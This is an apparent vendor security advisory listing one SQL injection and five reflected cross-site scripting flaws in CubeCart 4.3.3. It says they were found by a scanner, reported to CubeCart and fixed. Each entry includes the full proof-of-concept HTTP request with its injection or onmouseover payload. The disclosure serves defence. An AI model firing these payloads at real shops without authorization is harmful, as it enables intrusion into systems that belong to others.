We are continuing with the list of security vulnerabilities found in a
number of web applications while testing our latest version of Acunetix
WVS v7 . In this blog post, we will look into the details of a number of
security problems discovered by Acunetix WVS in CubeCart.

"CubeCart is a fully featured ecommerce shopping cart solution used by
over a million store owners around the world."

The following web vulnerabilities were found in CubeCart version 4.3.3;

1.SQL injection in “/cubecart_4/index.php”, parameter “searchStr”.
2.Cross-site Scripting vulnerability in
“/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “amount”.
3.Cross-site Scripting vulnerability in
“/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “cartId”.
4.Cross-site Scripting vulnerability in
“/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “email”.
5.Cross-site Scripting vulnerability in
“/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “transId”.
6.Cross-site Scripting vulnerability in
“/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “transStatus”.

Technical details about each web vulnerability are below:

1. SQL injection in “/cubecart_4/index.php”, parameter “searchStr”.

Additional details:
SQL query:
SQL:
SELECT id FROM cube_CubeCart_search WHERE searchstr='''

Sample HTTP Request:
GET /cubecart_4/index.php?_a=viewCat&searchStr='&Submit=Go HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294;
ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR
1.1.4322)

2. Cross-site Scripting vulnerability in
“/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “amount”.

Attack details
URL encoded GET input amount was set to ” onmouseover=prompt(949088) bad=”
The input is reflected inside a tag element between double quotes.

Sample HTTP Request:
GET
/cubecart_4/modules/gateway/WorldPay/return.php?amount=%22%20onmouseover%3dprompt%28949088%29%20bad%3d%22&cartId=&email=&transId=&transStatus=
HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294;
ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR
1.1.4322)

3. Cross-site Scripting vulnerability in
“/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “cartId”

Attack details
URL encoded GET input cartId was set to ” onmouseover=prompt(932890) bad=”
The input is reflected inside a tag element between double quotes.

Sample HTTP Request:
GET
/cubecart_4/modules/gateway/WorldPay/return.php?amount=&cartId=%22%20onmouseover%3dprompt%28934178%29%20bad%3d%22&email=&transId=&transStatus=
HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294;
ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR
1.1.4322)

4. Cross-site Scripting vulnerability in
“/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “email”.

Attack details
URL encoded GET input email was set to ” onmouseover=prompt(908306) bad=”
The input is reflected inside a tag element between double quotes.

Sample HTTP Request:
GET
/cubecart_4/modules/gateway/WorldPay/return.php?amount=&cartId=&email=%22%20onmouseover%3dprompt%28908306%29%20bad%3d%22&transId=&transStatus=
HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294;
ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR
1.1.4322)


5. Cross-site Scripting vulnerability in
“/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “transId”.

Attack details
URL encoded GET input transId was set to ” onmouseover=prompt(998313) bad=”
The input is reflected inside a tag element between double quotes.

Sample HTTP Request:
GET
/cubecart_4/modules/gateway/WorldPay/return.php?amount=&cartId=&email=&transId=%22%20onmouseover%3dprompt%28998313%29%20bad%3d%22&transStatus=
HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294;
ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR
1.1.4322)

6. Cross-site Scripting vulnerability in
“/cubecart_4/modules/gateway/WorldPay/return.php”, parameter “transStatus”.

Attack details
URL encoded GET input transStatus was set to ”
onmouseover=prompt(923101) bad=”
The input is reflected inside a tag element between double quotes.

Sample HTTP Request:
GET
/cubecart_4/modules/gateway/WorldPay/return.php?amount=&cartId=&email=&transId=&transStatus=%22%20onmouseover%3dprompt%28923101%29%20bad%3d%22
HTTP/1.1
Cookie: PHPSESSID=7c970bfe00c50261d25166dbab43c294;
ccUser=7c970bfe00c50261d25166dbab43c294
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR
1.1.4322)

These vulnerabilities were reported to the CubeCart team on 22/7/2010
via the support system on their website and they were fixed in latest
version of CubeCart . If you are using CubeCart, download the latest
version from their website.

-- 
Bogdan Calin - bogdan [at] acunetix.com
CTO
Acunetix Ltd. - http://www.acunetix.com
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